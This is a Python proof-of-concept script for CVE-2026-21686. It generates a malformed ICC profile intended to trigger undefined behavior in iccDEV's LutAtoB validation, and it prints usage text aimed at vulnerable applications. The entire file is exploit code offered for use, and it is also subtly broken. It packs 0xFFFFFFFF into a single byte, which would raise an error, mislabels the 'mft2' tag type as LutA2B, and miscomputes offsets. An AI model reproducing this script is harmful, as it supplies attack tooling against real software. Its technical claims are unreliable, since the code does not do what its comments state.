# CVE-2026-21686 PoC - Malformed ICC Profile Triggering UB in CIccTagLutAtoB::Validate()
# This PoC demonstrates the vulnerability by creating a minimal ICC profile with malformed LUT data
import struct
import os
def create_malformed_icc_profile():
"""
Create a minimal ICC profile with malformed LUT A2B data to trigger
the undefined behavior in CIccTagLutAtoB::Validate()
"""
# ICC Profile Header (128 bytes)
header = bytearray(128)
# Profile size (will be updated)
struct.pack_into('>I', header, 0, 0)
# Preferred CMM type
header[4:8] = b'lcms'
# Profile version
header[8:12] = struct.pack('>I', 0x04000000)
# Profile device class (display profile)
header[12:16] = b'mntr'
# Color space (RGB)
header[16:20] = b'RGB '
# PCS (Profile Connection Space)
header[20:24] = b'Lab '
# Creation date/time
header[24:36] = struct.pack('>IIIIII', 2026, 1, 7, 12, 0, 0)
# Signature 'acsp'
header[36:40] = b'acsp'
# Platform (Windows)
header[40:44] = b'MSFT'
# Primary platform flag
struct.pack_into('>I', header, 44, 1)
# Tag count
tag_count_offset = 128
# Create malformed LUT A2B tag data
# This triggers undefined behavior in CIccTagLutAtoB::Validate()
lut_tag_type = b'mft2' # LutA2B type signature
# Malformed input curve count (causes validation failure/UB)
input_entries = 0xFFFFFFFF # Invalid count causing UB
# Malformed CLUT data
clut_grid_points = 0xFF # Invalid grid points
# Construct malformed tag data
tag_data = bytearray()
tag_data += lut_tag_type
tag_data += struct.pack('>BBBB', 0, 0, 0, 9) # Input channels
tag_data += struct.pack('>BBBB', 0, 0, 0, 3) # Output channels
tag_data += struct.pack('>BBBB', 0, 0, 0, input_entries) # Malformed
tag_data += bytes(256) # Padding
# Create tag table entry
tag_signature = b'A2B0' # LutA2B tag signature
tag_offset = 128 + 4 + len(tag_data) # After tag count
tag_size = len(tag_data)
# Write tag count
profile = bytearray()
profile += struct.pack('>I', 1) # Tag count
# Write tag table
profile += tag_signature
profile += struct.pack('>II', tag_offset, tag_size)
# Write tag data
profile += tag_data
# Update profile size in header
struct.pack_into('>I', header, 0, len(profile) + 128)
# Combine header and profile data
final_profile = bytes(header) + bytes(profile)
return final_profile
def main():
"""
Main function to generate and save the PoC ICC profile
"""
print("[*] Generating CVE-2026-21686 PoC ICC Profile")
print("[*] Target: iccDEV < 2.3.1.2")
print("[*] Vulnerability: Undefined Behavior in CIccTagLutAtoB::Validate()")
# Generate malformed ICC profile
poc_data = create_malformed_icc_profile()
# Save the PoC
output_file = "CVE-2026-21686-poc.icc"
with open(output_file, 'wb') as f:
f.write(poc_data)
print(f"[+] PoC ICC profile saved to: {output_file}")
print(f"[+] File size: {len(poc_data)} bytes")
print("\n[!] Usage: Target application using vulnerable iccDEV version")
print(" will trigger undefined behavior when processing this profile")
if __name__ == "__main__":
main()